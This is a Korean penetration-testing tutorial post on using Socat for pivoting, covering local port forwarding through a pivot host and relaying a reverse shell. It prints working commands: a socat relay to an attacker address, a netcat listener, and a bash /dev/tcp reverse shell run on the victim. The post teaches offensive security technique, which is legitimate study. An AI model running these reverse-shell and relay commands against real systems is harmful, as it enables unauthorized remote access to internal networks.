모의해킹
피버팅과터널링_17_Socat 중계
작성자 : Heehyeon Yoo|2025-12-20
# 모의해킹# PNT# Socat# PortForwarding# Relay
1. 개요
Socat(Socket Cat)은 "네트워킹의 맥가이버 칼"이라고 불리는 강력한 도구로, 두 개의 독립적인 데이터 스트림(Sink)을 연결하여 데이터를 중계(Relay)하는 역할을 한다.
SSH나 Chisel 같은 전용 터널링 도구가 없는 환경, 혹은 단순히 특정 포트를 다른 포트로 토스(Toss)해주는 간단하고 빠른 포트 포워딩이 필요할 때 가장 효과적이다. 대부분의 리눅스 배포판에 기본 설치되어 있거나 쉽게 설치 가능하다.
2. 동작 원리
Socat은 "주소 1 <---> 주소 2" 형태의 양방향 파이프를 생성한다.
데이터가 주소 1로 들어오면 주소 2로 전송하고, 주소 2에서 응답이 오면 주소 1로 다시 전송한다. 이 "주소"에는 TCP 포트, UDP 포트, 파일, 파이프, 소켓 파일 등 다양한 대상이 올 수 있다.
3. 피버팅 활용 예시
3.1 로컬 포트 포워딩 (Forwarding)
피벗 호스트(10.1.10.10)가 중계자가 되어, 공격자가 보내는 트래픽을 내부 타겟(10.1.20.50:80)으로 전달하고 싶을 때 사용한다.
# 피벗 호스트에서 실행
# TCP4-LISTEN:8080 -> 8080번 포트 리스닝
# TCP4:10.1.20.50:80 -> 들어온 트래픽을 Target의 80으로 전달
# fork: 다중 접속 허용
socat TCP4-LISTEN:8080,fork TCP4:10.1.20.50:80
이제 공격자가 10.1.10.10:8080으로 접속하면, 실제로는 10.1.20.50:80 웹 서버와 통신하게 된다.
3.2 리버스 쉘 중계 (Reverse Shell Relay)
내부망 깊숙한 곳의 타겟(10.1.20.50)이 인터넷(공격자 10.8.0.5)으로 직접 나갈 수 없을 때, 인터넷이 되는 피벗 호스트(10.1.10.10)를 경유지로 활용한다.
- 공격자 (Attacker):
# 80번 포트에서 리버스 쉘 대기 nc -lvnp 80 - 피벗 호스트 (Relay):
# 1234번 포트로 들어오는(Target에서 오는) 연결을 # 공격자(10.8.0.5:80)에게 전달 socat TCP4-LISTEN:1234,fork TCP4:10.8.0.5:80 - 타겟 (Victim):
# 피벗 호스트의 1234번 포트로 리버스 쉘 발사 bash -i >& /dev/tcp/10.1.10.10/1234 0>&1
타겟은 피벗 호스트로 연결했지만(Outbound), Socat이 이를 공격자에게 중계해주므로 최종적으로 공격자는 쉘을 획득하게 된다.
4. 장단점
- 장점: 설정이 매우 직관적이고 빠르다. 별도의 인증 과정이나 복잡한 핸드쉐이크가 없다.
- 단점: 기본적으로 평문 통신이다. (단,
OPENSSL옵션을 사용하면 암호화된 터널을 생성할 수 있다). 또한, 프로세스가 종료되면 연결이 끊기므로 지속성을 위해서는 백그라운드 서비스 등록이 필요하다.